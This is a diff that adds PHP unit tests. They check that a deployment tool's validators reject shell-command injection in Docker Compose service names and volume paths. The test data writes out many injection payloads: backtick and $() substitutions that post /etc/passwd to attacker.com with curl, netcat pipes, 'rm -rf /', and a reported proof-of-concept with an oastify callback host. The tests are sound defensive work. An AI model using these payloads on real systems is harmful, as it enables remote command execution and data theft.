+test('service names with semicolon injection are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'web; curl attacker.com': + image: nginx +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'separator'); +}); + +test('service names with ampersand injection are rejected', function () { + $maliciousComposes = [ + "services:\n 'web & curl attacker.com':\n image: nginx", + "services:\n 'web && curl attacker.com':\n image: nginx", + ]; + + foreach ($maliciousComposes as $compose) { + $parsed = Yaml::parse($compose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'operator'); + } +}); + +test('service names with redirection are rejected', function () { + $maliciousComposes = [ + "services:\n 'web > /dev/null':\n image: nginx", + "services:\n 'web < input.txt':\n image: nginx", + ]; + + foreach ($maliciousComposes as $compose) { + $parsed = Yaml::parse($compose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class); + } +}); + +test('legitimate service names are accepted', function () { + $legitCompose = <<<'YAML' +services: + web: + image: nginx + api: + image: node:20 + database: + image: postgres:15 + redis-cache: + image: redis:7 + app_server: + image: python:3.11 + my-service.com: + image: alpine +YAML; + + $parsed = Yaml::parse($legitCompose); + + foreach ($parsed['services'] as $serviceName => $service) { + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->not->toThrow(Exception::class); + } +}); + +test('service names used in docker network connect command', function () { + // This demonstrates the actual vulnerability from StartService.php:41 + $maliciousServiceName = 'evil`curl attacker.com`'; + $uuid = 'test-uuid-123'; + $network = 'coolify'; + + // Without validation, this would create a dangerous command + $dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}"; + + expect($dangerousCommand)->toContain('`curl attacker.com`'); + + // With validation, the service name should be rejected + expect(fn () => validateShellSafePath($maliciousServiceName, 'service name')) + ->toThrow(Exception::class); +}); + +test('service name from the vulnerability report example', function () { + // The example could also target service names + $maliciousCompose = <<<'YAML' +services: + 'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`': + image: alpine +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class); +}); + +test('service names with newline injection are rejected', function () { + $maliciousServiceName = "web\ncurl attacker.com"; + + expect(fn () => validateShellSafePath($maliciousServiceName, 'service name')) + ->toThrow(Exception::class, 'newline'); +}); + +test('service names with variable substitution patterns are rejected', function () { + $maliciousNames = [ + 'web${PATH}', + 'app${USER}', + 'db${PWD}', + ]; + + foreach ($maliciousNames as $name) { + expect(fn () => validateShellSafePath($name, 'service name')) + ->toThrow(Exception::class); + } +}); + +test('service names provide helpful error messages', function () { + $maliciousServiceName = 'evil`command`'; + + try { + validateShellSafePath($maliciousServiceName, 'service name'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('service name'); + expect($e->getMessage())->toContain('backtick'); + } +}); + +test('multiple malicious services in one compose file', function () { + $maliciousCompose = <<<'YAML' +services: + 'web`whoami`': + image: nginx + 'api$(cat /etc/passwd)': + image: node + database: + image: postgres + 'cache; curl attacker.com': + image: redis +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceNames = array_keys($parsed['services']); + + // First and second service names should fail + expect(fn () => validateShellSafePath($serviceNames[0], 'service name')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath($serviceNames[1], 'service name')) + ->toThrow(Exception::class); + + // Third service name should pass (legitimate) + expect(fn () => validateShellSafePath($serviceNames[2], 'service name')) + ->not->toThrow(Exception::class); + + // Fourth service name should fail + expect(fn () => validateShellSafePath($serviceNames[3], 'service name')) + ->toThrow(Exception::class); +}); + +test('service names with spaces are allowed', function () { + // Spaces themselves are not dangerous - shell escaping handles them + // Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them + $serviceName = 'my service'; + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->not->toThrow(Exception::class); +}); + +test('common Docker Compose service naming patterns are allowed', function () { + $commonNames = [ + 'web', + 'api', + 'database', + 'redis', + 'postgres', + 'mysql', + 'mongodb', + 'app-server', + 'web_frontend', + 'api.backend', + 'db-01', + 'worker_1', + 'service123', + ]; + + foreach ($commonNames as $name) { + expect(fn () => validateShellSafePath($name, 'service name')) + ->not->toThrow(Exception::class); + } +}); diff --git a/tests/Unit/ValidateShellSafePathTest.php b/tests/Unit/ValidateShellSafePathTest.php new file mode 100644 index 000000000..8181670e2 --- /dev/null +++ b/tests/Unit/ValidateShellSafePathTest.php @@ -0,0 +1,150 @@ + validateShellSafePath($path, 'test'))->not->toThrow(Exception::class); + } +}); + +test('blocks backtick command substitution', function () { + $path = '/tmp/pwn`curl attacker.com`'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('blocks dollar-paren command substitution', function () { + $path = '/tmp/pwn$(cat /etc/passwd)'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('blocks pipe operators', function () { + $path = '/tmp/file | nc attacker.com 1234'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('blocks semicolon command separator', function () { + $path = '/tmp/file; curl attacker.com'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'separator'); +}); + +test('blocks ampersand operators', function () { + $paths = [ + '/tmp/file & curl attacker.com', + '/tmp/file && curl attacker.com', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'operator'); + } +}); + +test('blocks redirection operators', function () { + $paths = [ + '/tmp/file > /dev/null', + '/tmp/file < input.txt', + '/tmp/file >> output.log', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); + } +}); + +test('blocks newline command separator', function () { + $path = "/tmp/file\ncurl attacker.com"; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'newline'); +}); + +test('blocks tab character as token separator', function () { + $path = "/tmp/file\tcurl attacker.com"; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'tab'); +}); + +test('blocks complex command injection with the example from issue', function () { + $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'; + + expect(fn () => validateShellSafePath($path, 'volume source')) + ->toThrow(Exception::class); +}); + +test('blocks nested command substitution', function () { + $path = '/tmp/$(echo $(whoami))'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('blocks variable substitution patterns', function () { + $paths = [ + '/tmp/${PWD}', + '/tmp/${PATH}', + 'data/${USER}', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); + } +}); + +test('provides context-specific error messages', function () { + $path = '/tmp/evil`command`'; + + try { + validateShellSafePath($path, 'volume source'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('volume source'); + } + + try { + validateShellSafePath($path, 'service name'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('service name'); + } +}); + +test('handles empty strings safely', function () { + expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class); +}); + +test('allows paths with spaces', function () { + // Spaces themselves are not dangerous in properly quoted shell commands + // The escaping should be handled elsewhere (e.g., escapeshellarg) + $path = '/path/with spaces/file'; + + expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class); +}); + +test('blocks multiple attack vectors in one path', function () { + $path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); +}); diff --git a/tests/Unit/VolumeArrayFormatSecurityTest.php b/tests/Unit/VolumeArrayFormatSecurityTest.php new file mode 100644 index 000000000..97a6819b2 --- /dev/null +++ b/tests/Unit/VolumeArrayFormatSecurityTest.php @@ -0,0 +1,270 @@ +toBeArray(); + expect($volumes[0])->toHaveKey('type'); + expect($volumes[0])->toHaveKey('source'); + expect($volumes[0])->toHaveKey('target'); +}); + +test('malicious array-format volume with backtick injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn`curl attacker.com`' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['evil']['volumes']; + + // The malicious volume is now an array + expect($volumes[0])->toBeArray(); + expect($volumes[0]['source'])->toContain('`'); + + // When applicationParser or serviceParser processes this, + // it should throw an exception due to our validation + $source = $volumes[0]['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('malicious array-format volume with command substitution', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn$(cat /etc/passwd)' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('malicious array-format volume with pipe injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/file | nc attacker.com 1234' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('malicious array-format volume with semicolon injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/file; curl attacker.com' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'separator'); +}); + +test('exact example from security report in array format', function () { + $dockerComposeYaml = <<<'YAML' +services: + coolify: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['coolify']['volumes'][0]['source']; + + // This should be caught by validation + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); +}); + +test('legitimate array-format volumes are allowed', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: ./data + target: /app/data + - type: bind + source: /var/lib/data + target: /data + - type: volume + source: my-volume + target: /app/volume +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['web']['volumes']; + + // All these legitimate volumes should pass validation + foreach ($volumes as $volume) { + $source = $volume['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->not->toThrow(Exception::class); + } +}); + +test('array-format with environment variables', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: ${DATA_PATH} + target: /app/data +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['web']['volumes'][0]['source']; + + // Simple environment variables should be allowed + expect($source)->toBe('${DATA_PATH}'); + // Our validation allows simple env var references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true +}); + +test('array-format with safe environment variable default', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: '${DATA_PATH:-./data}' + target: /app/data +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['web']['volumes'][0]['source']; + + // Parse correctly extracts the source value + expect($source)->toBe('${DATA_PATH:-./data}'); + + // Safe environment variable with benign default should be allowed + // The pre-save validation skips env vars with safe defaults + expect(fn () => validateDockerComposeForInjection($dockerComposeYaml)) + ->not->toThrow(Exception::class); +}); + +test('array-format with malicious environment variable default', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '${VAR:-/tmp/evil`whoami`}' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + // This contains backticks and should fail validation + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); +}); + +test('mixed string and array format volumes in same compose', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - './safe/data:/app/data' + - type: bind + source: ./another/safe/path + target: /app/other + - '/tmp/evil`whoami`:/app/evil' + - type: bind + source: '/tmp/evil$(id)' + target: /app/evil2 +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['web']['volumes']; + + // String format malicious volume (index 2) + expect(fn () => parseDockerVolumeString($volumes[2])) + ->toThrow(Exception::class); + + // Array format malicious volume (index 3) + $source = $volumes[3]['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); + + // Legitimate volumes should work (indexes 0 and 1) + expect(fn () => parseDockerVolumeString($volumes[0])) + ->not->toThrow(Exception::class); + + $safeSource = $volumes[1]['source']; + expect(fn () => validateShellSafePath($safeSource, 'volume source')) + ->not->toThrow(Exception::class); +}); + +test('array-format target path injection is also blocked', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: ./data + target: '/app`whoami`' +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $target = $parsed['services']['evil']['volumes'][0]['target']; + + // Target paths should also be validated + expect(fn () => validateShellSafePath($target, 'volume target')) + ->toThrow(Exception::class, 'backtick'); +}); diff --git a/tests/Unit/VolumeSecurityTest.php b/tests/Unit/VolumeSecurityTest.php new file mode 100644 index 000000000..d7f20fc0e --- /dev/null +++ b/tests/Unit/VolumeSecurityTest.php @@ -0,0 +1,186 @@ + parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('parseDockerVolumeString rejects backtick injection', function () { + $maliciousVolumes = [ + '`whoami`:/app', + '/tmp/evil`id`:/data', + './data`nc attacker.com 1234`:/app/data', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects dollar-paren injection', function () { + $maliciousVolumes = [ + '$(whoami):/app', + '/tmp/evil$(cat /etc/passwd):/data', + './data$(curl attacker.com):/app/data', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects pipe injection', function () { + $maliciousVolume = '/tmp/file | nc attacker.com 1234:/app'; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects semicolon injection', function () { + $maliciousVolume = '/tmp/file; curl attacker.com:/app'; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects ampersand injection', function () { + $maliciousVolumes = [ + '/tmp/file & curl attacker.com:/app', + '/tmp/file && curl attacker.com:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString accepts legitimate volume definitions', function () { + $legitimateVolumes = [ + 'gitea:/data', + './data:/app/data', + '/var/lib/data:/data', + '/etc/localtime:/etc/localtime:ro', + 'my-app_data:/var/lib/app-data', + 'C:/Windows/Data:/data', + '/path-with-dashes:/app', + '/path_with_underscores:/app', + 'volume.with.dots:/data', + ]; + + foreach ($legitimateVolumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result)->toHaveKey('source'); + expect($result)->toHaveKey('target'); + } +}); + +test('parseDockerVolumeString accepts simple environment variables', function () { + $volumes = [ + '${DATA_PATH}:/data', + '${VOLUME_PATH}:/app', + '${MY_VAR_123}:/var/lib/data', + ]; + + foreach ($volumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result['source'])->not->toBeNull(); + } +}); + +test('parseDockerVolumeString rejects environment variables with command injection in default', function () { + $maliciousVolumes = [ + '${VAR:-`whoami`}:/app', + '${VAR:-$(cat /etc/passwd)}:/data', + '${PATH:-/tmp;curl attacker.com}:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString accepts environment variables with safe defaults', function () { + $safeVolumes = [ + '${VOLUME_DB_PATH:-db}:/data/db', + '${DATA_PATH:-./data}:/app/data', + '${VOLUME_PATH:-/var/lib/data}:/data', + ]; + + foreach ($safeVolumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result['source'])->not->toBeNull(); + } +}); + +test('parseDockerVolumeString rejects injection in target path', function () { + // While target paths are less dangerous, we should still validate them + $maliciousVolumes = [ + '/data:/app`whoami`', + './data:/tmp/evil$(id)', + 'volume:/data; curl attacker.com', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects the exact example from the security report', function () { + $exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app'; + + expect(fn () => parseDockerVolumeString($exactMaliciousVolume)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('parseDockerVolumeString provides helpful error messages', function () { + $maliciousVolume = '/tmp/evil`command`:/app'; + + try { + parseDockerVolumeString($maliciousVolume); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('Invalid Docker volume definition'); + expect($e->getMessage())->toContain('backtick'); + expect($e->getMessage())->toContain('volume source'); + } +}); + +test('parseDockerVolumeString handles whitespace with malicious content', function () { + $maliciousVolume = ' /tmp/evil`whoami`:/app '; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects redirection operators', function () { + $maliciousVolumes = [ + '/tmp/file > /dev/null:/app', + '/tmp/file < input.txt:/app', + './data >> output.log:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects newline and tab in volume strings', function () { + // Newline can be used as command separator + expect(fn () => parseDockerVolumeString("/data\n:/app")) + ->toThrow(Exception::class); + + // Tab can be used as token separator + expect(fn () => parseDockerVolumeString("/data\t:/app")) + ->toThrow(Exception::class); +}); diff --git a/tests/Unit/WindowsPathVolumeTest.php b/tests/Unit/WindowsPathVolumeTest.php new file mode 100644 index 000000000..1d3af6abd --- /dev/null +++ b/tests/Unit/WindowsPathVolumeTest.php @@ -0,0 +1,64 @@ +toBe('C:\\host\\path'); + expect((string) $result['target'])->toBe('/container'); +}); + +test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () { + $windowsVolume = 'C:\\Users\\Data:/app/data'; + + // Should not throw an exception + validateVolumeStringForInjection($windowsVolume); + + // If we get here, the test passed + expect(true)->toBeTrue(); +}); + +test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () { + $maliciousVolume = 'C:\\host\\`whoami`:/container'; + + expect(fn () => validateVolumeStringForInjection($maliciousVolume)) + ->toThrow(\Exception::class); +}); + +test('validateDockerComposeForInjection handles Windows paths in compose files', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - C:\Users\Data:/app/data +YAML; + + // Should not throw an exception + validateDockerComposeForInjection($dockerComposeYaml); + + expect(true)->toBeTrue(); +}); + +test('validateDockerComposeForInjection rejects Windows paths with injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - C:\Users\$(whoami):/app/data +YAML; + + expect(fn () => validateDockerComposeForInjection($dockerComposeYaml)) + ->toThrow(\Exception::class); +}); + +test('Windows paths with complex paths and spaces are handled correctly', function () { + $windowsVolume = 'C:\\Program Files\\MyApp:/app'; + + $result = parseDockerVolumeString($windowsVolume); + + expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp'); + expect((string) $result['target'])->toBe('/app'); +});